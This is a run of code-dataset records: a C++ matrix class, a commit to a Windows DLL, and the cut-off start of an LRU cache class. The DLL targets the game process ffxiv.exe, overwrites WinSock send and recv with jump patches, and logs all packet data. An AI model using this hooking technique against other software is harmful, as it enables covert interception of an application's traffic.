const\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto data() noexcept -> pointer\n\t{ return _storage.data(); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a const pointer to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\n\t\/\/\/ \\se data(std::size_t const, std::size_t const)\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto data( size_type const i\n\t         , size_type const j ) const noexcept -> const_pointer\n\t{ return data() + (i + _ldim * j); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a non-const pointer to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\n\t\/\/\/ \\se data(std::size_t const, std::size_t const) const\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto data( size_type const i\n\t         , size_type const j ) noexcept -> pointer\n\t{ return data() + (i + _ldim * j); }\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns the element at row \\p i and column \\p j.\n\n\t\/\/\/ \\warning Mind you: not a const-reference, by the element by value!\n\t\/\/\/ This is due to the fact that this class is meant to be used with\n\t\/\/\/ elementary number types such as `float` or `int`.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto operator() ( size_type const i\n\t                , size_type const j ) const noexcept -> value_type\n\t{ assert(i < height() and j < width() and \"Index out of bounds.\");\n\t  return *data(i, j); \n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ Returns a non-const reference to the element at row \\p i and \n\t\/\/\/ column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr\n\tauto operator() ( size_type const i\n\t                , size_type const j ) noexcept -> reference\n\t{ assert(i < height() and j < width() and \"Index out of bounds.\");\n\t  return *data(i, j);\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant row iterator to the beginning of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cbegin_row(size_type const i) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{ data(i, 0),\n\t      static_cast<difference_type>(ldim()) };\n\t}\n\t\n\t\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating row iterator to the beginning of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto begin_row(size_type const i) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{ data(i, 0), \n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant row iterator to the end of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cend_row(size_type const i) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{ data(i, width()),\n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating row iterator to the end of row \\p i.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto end_row(size_type const i) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(i < height() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{ data(i, width()), \n\t      static_cast<difference_type>(ldim()) };\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant column iterator to the beginning of column \n\t\/\/\/ \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cbegin_column(size_type const j) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return {data(0, j), 1};\n\t}\n\t\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating column iterator to the beginning of column \n\t\/\/\/ \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto begin_column(size_type const j) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{data(0, j), 1};\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a constant column iterator to the end of column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto cend_column(size_type const j) const noexcept\n\t\t-> const_blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return const_blas_iterator<value_type>{data(height(), j), 1};\n\t}\n\n\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\/\/\/ \\brief Returns a mutating column iterator to the end of column \\p j.\n\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\tconstexpr auto end_column(size_type const j) noexcept\n\t\t-> blas_iterator<value_type>\n\t{ assert(j < width() and \"Index out of bounds.\");\n\t  return blas_iterator<value_type>{data(height(), j), 1};\n\t}\n\n\t\nprivate:\n\tfriend\n\tauto swap(Matrix<value_type>& lhs, Matrix<value_type>& rhs) noexcept\n\t{ using std::swap;\n\t  swap(lhs._storage, rhs._storage);\n\t  swap(lhs._height, rhs._height);\n\t  swap(lhs._width, rhs._width);\n\t  swap(lhs._ldim, rhs._ldim);\n\t}\n};\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is just a row vector.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_row(_M const& A) noexcept -> bool { return A.height() == 1; }\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is just a column vector.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_column(_M const& A) noexcept -> bool { return A.width() == 1; }\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Returns true if the given matrix is a square matrix.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ntemplate <class _M>\nconstexpr \nauto is_square(_M const& A) noexcept -> bool {return A.width() == A.height();}\n\n\ntemplate <class _T, std::size_t _Align, class _Alloc>\nauto operator<< (std::ostream& out, Matrix<_T, _Align, _Alloc> const& A) \n\t-> std::ostream&\n{\n\tfor (std::size_t i = 0; i < A.height(); ++i) {\n\t\tfor (std::size_t j = 0; j < A.width(); ++j)\n\t\t\tout << A(i, j) << '\\t';\n\t\tout << '\\n';\n\t}\n\treturn out;\n}\n\n\ntemplate<class _T, std::size_t _Align, class _Alloc>\nauto operator>> (std::istream& in, Matrix<_T, _Align, _Alloc>& A) \n\t-> std::istream&\n{\n\tfor (std::size_t i = 0; i < A.height(); ++i) {\n\t\tfor (std::size_t j = 0; j < A.width(); ++j) {\n\t\t\tin >> A(i, j);\n\t\t}\n\t}\n\treturn in;\n}\n\n\ntemplate<class Func>\nauto build_matrix( std::size_t const height, std::size_t const width\n                 , Func f )\n{\n\tusing T = decltype( f( std::declval<std::size_t>()\n\t                     , std::declval<std::size_t>()\n\t                     ) );\n\tMatrix<T> result{height, width};\n\tfor (std::size_t j = 0; j < width; ++j)\n\t\tfor (std::size_t i = 0; i < height; ++i)\n\t\t\tresult(i, j) = f(i, j);\n\treturn result;\n}\n\n} \/\/ namespace tcm\n\n\n\n\n#endif \/\/ TCM_MATRIX_HPP\n<|endoftext|>"}
{"text":"<commit_before>#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n#include <psapi.h>\n#include <stdio.h>\n\n#include \"ws.h\"\n#include \"log.h\"\n#include \"misc.h\"\n\nstatic char *buf_new;\nstatic DWORD threadIDConsole = 0;\nstatic DWORD threadID = 0;\n\ntypedef int (WINAPI *tWS)(SOCKET, const char*, int, int);\n\nint (WINAPI *pRecv)(SOCKET s, const char* buf, int len, int flags);\nint WINAPI repl_recv(SOCKET s, const char *buf, int len, int flags);\n\nint (WINAPI *pSend)(SOCKET s, const char* buf, int len, int flags);\nint WINAPI repl_send(SOCKET s, const char *buf, int len, int flags);\n\nDWORD WINAPI initialize(LPVOID param);\nDWORD WINAPI setup_console(LPVOID param);\n\nextern \"C\" __declspec(dllexport) void register_handler(void)\n{\n\treturn;\n}\n\nextern \"C\" BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)\n{\n\tswitch (reason)\n\t{\n\t\tcase DLL_PROCESS_ATTACH:\n\t\t{\n            char moduleName[MAX_PATH];\n\t\t\tGetModuleBaseName(GetCurrentProcess(), NULL, moduleName, MAX_PATH);\n\t\t\tif (strcmp(moduleName, \"ffxiv.exe\"))\n               break;\n            Sleep(10000);\n\t\t\tbuf_new = (char*)malloc(MAX_PACKET*sizeof(unsigned char)); \/\/Pre-allocate a buffer\n\t\t\tCreateThread(NULL,0,setup_console,NULL,0,&threadIDConsole);\n\t\t\tCreateThread(NULL,0,initialize,NULL,0,&threadID);\n\t\t\tbreak;\n\t\t}\n\t\tcase DLL_PROCESS_DETACH:\n\t\t\tfree(buf_new);\n\t\t\tVirtualFree((LPVOID)pSend, 0, MEM_RELEASE);\n            VirtualFree((LPVOID)pRecv, 0, MEM_RELEASE);\n\t\t\tif (threadIDConsole)\n\t\t\t\tPostThreadMessage(threadIDConsole, WM_QUIT, 0, 0);\n#if LOGGING == 1\n\t\t\tfclose(logfile);\n#endif\n\t\t\tbreak;\n\t\tcase DLL_THREAD_ATTACH:\n\t\t\tbreak;\n\t\tcase DLL_THREAD_DETACH:\n\t\t\tbreak;\n\t}\n\treturn TRUE;\n}\n\nDWORD WINAPI initialize(LPVOID param)\n{\n    DWORD addr;\n    DWORD orig_size;\n    BYTE replaced[10];\n\twhile(!setupFlag);\n\tLOG(\"Initialized!\");\n\n\tLOG(\"Replacing WinSock send call\");\n\taddr = (DWORD)GetProcAddress(GetModuleHandle(TEXT(\"WS2_32.dll\")), \"send\");\n    LOG(\"WS2_32.dll:send @ %X\",(unsigned int)addr);\n\tif(apply_patch(0xE9,addr,(void*)(&repl_send),&orig_size, replaced))\n\t{\n\t\tpSend = (tWS)VirtualAlloc(NULL, orig_size << 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\tmemcpy((void*)pSend,replaced,orig_size);\n\t\tapply_patch(0xE9,(DWORD)pSend+orig_size,(void*)(addr+orig_size),&orig_size, replaced);\n\t\tVirtualProtect((LPVOID)pSend,orig_size+5,PAGE_EXECUTE_READWRITE,NULL); \/\/DEP sucks :(\n\t\tLOG(\"Success! pSend Address = %X\",(unsigned int)pSend);\n\t}\n       \n    LOG(\"Replacing WinSock recv call\");\n\taddr = (DWORD)GetProcAddress(GetModuleHandle(TEXT(\"WS2_32.dll\")), \"recv\");\n    LOG(\"WS2_32.dll:recv @ %X\",(unsigned int)addr);\n\tif(apply_patch(0xE9,addr,(void*)(&repl_recv),&orig_size, replaced))\n\t{\n\t\tpRecv = (tWS)VirtualAlloc(NULL, orig_size << 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\tmemcpy((void*)pRecv,replaced,orig_size); \n\t\tapply_patch(0xE9,(DWORD)pRecv+orig_size,(void*)(addr+orig_size),&orig_size, replaced); \n\t\tVirtualProtect((LPVOID)pRecv,orig_size+5,PAGE_EXECUTE_READWRITE,NULL);\n\t\tLOG(\"Success! pRecv Address = %X\",(unsigned int)pRecv);\n\t}\n\n#if LOGGING != 2\t \t    \n\twhile(1); \/\/If we aren't logging, then everything has already been setup and we're good to go\n#endif\n\treturn 0;\n}\n\nint WINAPI repl_send(SOCKET s, const char *buf, int len, int flags)\n{\n    memcpy(buf_new,buf,len);\n    \n#if LOGGING != 2\n\tstruct sockaddr_in info;\n\tint infolen;\n\tgetpeername(s,(sockaddr*)(&info),&infolen);\n\tconst int port = ntohs(info.sin_port);\n    LOG(\"SEND\");\n\tLOG(\"%s:%u, Len %d, Flags %d, socket %u\",inet_ntoa(info.sin_addr),port,len,flags, s);\n\tLOGn(\"Data: \");  \n\tfor(int i = 0; i < len; i++) \n\t\tLOGn(\"%02X \",(unsigned char)buf_new[i]);\n#endif\n\n    return pSend(s,buf_new,len,flags);\n}\n\nint WINAPI repl_recv(SOCKET s, const char *buf, int len, int flags)\n{\n    memcpy(buf_new,buf,len);\n    \n#if LOGGING != 2\n\tstruct sockaddr_in info;\n\tint infolen;\n\tgetpeername(s,(sockaddr*)(&info),&infolen);\n\tconst int port = ntohs(info.sin_port);\n    LOG(\"RECV\");\n\tLOG(\"%s:%u, Len %d, Flags %d, socket %u\",inet_ntoa(info.sin_addr),port,len,flags, s);\n\tLOGn(\"Data: \");  \n\tfor(int i = 0; i < len; i++) \n\t\tLOGn(\"%02X \",(unsigned char)buf_new[i]);\n#endif\n\n    return pRecv(s,buf_new,len,flags);\n}\n\nDWORD WINAPI setup_console(LPVOID param)\n{\n#ifndef LOGGING\n\tAllocConsole();\n\tfreopen(\"CONOUT$\",\"w\",stdout);\n\tfreopen(\"CONIN$\",\"r\",stdin);\n#endif\n\tsetupFlag = true;\n#ifndef LOGGING\n\twhile(true)\n\t{\n\t\tMSG msg;\n\t\tif (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) \n\t\t{\n\t\t\tswitch (msg.message) \n\t\t\t{\n\t\t\t\tcase WM_QUIT:\n\t\t\t\t\tFreeConsole();\t\t\n\t\t\t\t\treturn msg.wParam;\n\t\t\t}\n\t\t}\n\t}\n#endif\n    return 0;\n}\n<commit_msg>Argh tabbing<commit_after>#include <winsock2.h>\n#include <ws2tcpip.h>\n#include <windows.h>\n#include <psapi.h>\n#include <stdio.h>\n\n#include \"ws.h\"\n#include \"log.h\"\n#include \"misc.h\"\n\nstatic char *buf_new;\nstatic DWORD threadIDConsole = 0;\nstatic DWORD threadID = 0;\n\ntypedef int (WINAPI *tWS)(SOCKET, const char*, int, int);\n\nint (WINAPI *pRecv)(SOCKET s, const char* buf, int len, int flags);\nint WINAPI repl_recv(SOCKET s, const char *buf, int len, int flags);\n\nint (WINAPI *pSend)(SOCKET s, const char* buf, int len, int flags);\nint WINAPI repl_send(SOCKET s, const char *buf, int len, int flags);\n\nDWORD WINAPI initialize(LPVOID param);\nDWORD WINAPI setup_console(LPVOID param);\n\nextern \"C\" __declspec(dllexport) void register_handler(void)\n{\n\treturn;\n}\n\nextern \"C\" BOOL APIENTRY DllMain(HINSTANCE instance, DWORD reason, LPVOID reserved)\n{\n\tswitch (reason)\n\t{\n\t\tcase DLL_PROCESS_ATTACH:\n\t\t{\n\t\t\tchar moduleName[MAX_PATH];\n\t\t\tGetModuleBaseName(GetCurrentProcess(), NULL, moduleName, MAX_PATH);\n\t\t\tif (strcmp(moduleName, \"ffxiv.exe\"))\n\t\t\t   break;\n\t\t\tSleep(10000);\n\t\t\tbuf_new = (char*)malloc(MAX_PACKET*sizeof(unsigned char)); \/\/Pre-allocate a buffer\n\t\t\tCreateThread(NULL,0,setup_console,NULL,0,&threadIDConsole);\n\t\t\tCreateThread(NULL,0,initialize,NULL,0,&threadID);\n\t\t\tbreak;\n\t\t}\n\t\tcase DLL_PROCESS_DETACH:\n\t\t\tfree(buf_new);\n\t\t\tVirtualFree((LPVOID)pSend, 0, MEM_RELEASE);\n\t\t\tVirtualFree((LPVOID)pRecv, 0, MEM_RELEASE);\n\t\t\tif (threadIDConsole)\n\t\t\t\tPostThreadMessage(threadIDConsole, WM_QUIT, 0, 0);\n#if LOGGING == 1\n\t\t\tfclose(logfile);\n#endif\n\t\t\tbreak;\n\t\tcase DLL_THREAD_ATTACH:\n\t\t\tbreak;\n\t\tcase DLL_THREAD_DETACH:\n\t\t\tbreak;\n\t}\n\treturn TRUE;\n}\n\nDWORD WINAPI initialize(LPVOID param)\n{\n\tDWORD addr;\n\tDWORD orig_size;\n\tBYTE replaced[10];\n\twhile(!setupFlag);\n\tLOG(\"Initialized!\");\n\n\tLOG(\"Replacing WinSock send call\");\n\taddr = (DWORD)GetProcAddress(GetModuleHandle(TEXT(\"WS2_32.dll\")), \"send\");\n\tLOG(\"WS2_32.dll:send @ %X\",(unsigned int)addr);\n\tif(apply_patch(0xE9,addr,(void*)(&repl_send),&orig_size, replaced))\n\t{\n\t\tpSend = (tWS)VirtualAlloc(NULL, orig_size << 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\tmemcpy((void*)pSend,replaced,orig_size);\n\t\tapply_patch(0xE9,(DWORD)pSend+orig_size,(void*)(addr+orig_size),&orig_size, replaced);\n\t\tVirtualProtect((LPVOID)pSend,orig_size+5,PAGE_EXECUTE_READWRITE,NULL); \/\/DEP sucks :(\n\t\tLOG(\"Success! pSend Address = %X\",(unsigned int)pSend);\n\t}\n\t   \n\tLOG(\"Replacing WinSock recv call\");\n\taddr = (DWORD)GetProcAddress(GetModuleHandle(TEXT(\"WS2_32.dll\")), \"recv\");\n\tLOG(\"WS2_32.dll:recv @ %X\",(unsigned int)addr);\n\tif(apply_patch(0xE9,addr,(void*)(&repl_recv),&orig_size, replaced))\n\t{\n\t\tpRecv = (tWS)VirtualAlloc(NULL, orig_size << 2, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\n\t\tmemcpy((void*)pRecv,replaced,orig_size); \n\t\tapply_patch(0xE9,(DWORD)pRecv+orig_size,(void*)(addr+orig_size),&orig_size, replaced); \n\t\tVirtualProtect((LPVOID)pRecv,orig_size+5,PAGE_EXECUTE_READWRITE,NULL);\n\t\tLOG(\"Success! pRecv Address = %X\",(unsigned int)pRecv);\n\t}\n\n#if LOGGING != 2\t \t\t\n\twhile(1); \/\/If we aren't logging, then everything has already been setup and we're good to go\n#endif\n\treturn 0;\n}\n\nint WINAPI repl_send(SOCKET s, const char *buf, int len, int flags)\n{\n\tmemcpy(buf_new,buf,len);\n\t\n#if LOGGING != 2\n\tstruct sockaddr_in info;\n\tint infolen;\n\tgetpeername(s,(sockaddr*)(&info),&infolen);\n\tconst int port = ntohs(info.sin_port);\n\tLOG(\"SEND\");\n\tLOG(\"%s:%u, Len %d, Flags %d, socket %u\",inet_ntoa(info.sin_addr),port,len,flags, s);\n\tLOGn(\"Data: \");  \n\tfor(int i = 0; i < len; i++) \n\t\tLOGn(\"%02X \",(unsigned char)buf_new[i]);\n#endif\n\n\treturn pSend(s,buf_new,len,flags);\n}\n\nint WINAPI repl_recv(SOCKET s, const char *buf, int len, int flags)\n{\n\tmemcpy(buf_new,buf,len);\n\t\n#if LOGGING != 2\n\tstruct sockaddr_in info;\n\tint infolen;\n\tgetpeername(s,(sockaddr*)(&info),&infolen);\n\tconst int port = ntohs(info.sin_port);\n\tLOG(\"RECV\");\n\tLOG(\"%s:%u, Len %d, Flags %d, socket %u\",inet_ntoa(info.sin_addr),port,len,flags, s);\n\tLOGn(\"Data: \");  \n\tfor(int i = 0; i < len; i++) \n\t\tLOGn(\"%02X \",(unsigned char)buf_new[i]);\n#endif\n\n\treturn pRecv(s,buf_new,len,flags);\n}\n\nDWORD WINAPI setup_console(LPVOID param)\n{\n#ifndef LOGGING\n\tAllocConsole();\n\tfreopen(\"CONOUT$\",\"w\",stdout);\n\tfreopen(\"CONIN$\",\"r\",stdin);\n#endif\n\tsetupFlag = true;\n#ifndef LOGGING\n\twhile(true)\n\t{\n\t\tMSG msg;\n\t\tif (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) \n\t\t{\n\t\t\tswitch (msg.message) \n\t\t\t{\n\t\t\t\tcase WM_QUIT:\n\t\t\t\t\tFreeConsole();\t\t\n\t\t\t\t\treturn msg.wParam;\n\t\t\t}\n\t\t}\n\t}\n#endif\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"LRUMemCache.h\"\r\n\r\n\r\nLRUMemCache::LRUMemCache( size_t buffersize, size_t nbuffers )\r\n\t: buffersize(buffersize), nbuffers(nbuffers), callback(NULL)\r\n{\r\n}\r\n\r\nchar* LRUMemCache::get( __int64 offset, size_t& bsize )\r\n{\r\n\tfor(size_t i=lruItems.size(); i-->0; )\r\n\t{\r\n\t\tif(lruItems[i].offset<=offset &&\r\n\t\t\tlruItems[i].offset+static_cast<__int64>(buffersize)>offset)\r\n\t\t{\r\n\t\t\tsize_t innerOffset = static_cast<size_t>(offset-lruItems[i].offset);\r\n\t\t\tbsize = buffersize - innerOffset;\r\n\t\t\treturn lruItems[i].buffer + innerOffset;\r\n\t\t}\r\n\t}\r\n\r\n\treturn NULL;\r\n}\r\n\r\nbool LRUMemCache::put( __int64 offset, const char* buffer, size_t bsize )\r\n{\r\n\tfor(size_t i=lruItems.size(); i-->0; )\r\n\t{\r\n\t\tif(lruItems[i].offset<=offset &&\r\n\t\t\tlruItems[i].offset+static_cast<__int64>(buffersize)>offset)\r\n\t\t{\r\n\t\t\tsize_t innerOffset = static_cast<size_t>(offset-lruItems[i].offset);\r\n\r\n\t\t\tif( buffersize - innerOffset < bsize)\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\r\n\t\t\tmemcpy(lruItems[i].buffer + innerOffset, buffer, bsize);\r\n\r\n\t\t\tputBack(i);\r\n\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\r\n\tSCacheItem newItem = createInt(offset);\r\n\r\n\tsize_t innerOffset = static_cast<size_t>(offset-newItem.offset);\r\n\r\n\tif( buffersize - innerOffset < bsize)\r\n\t{\r\n\t\treturn false;\r\n\t}\r\n\r\n\tmemcpy(newItem.buffer + innerOffset, buffer, bsize);\r\n\r\n\treturn 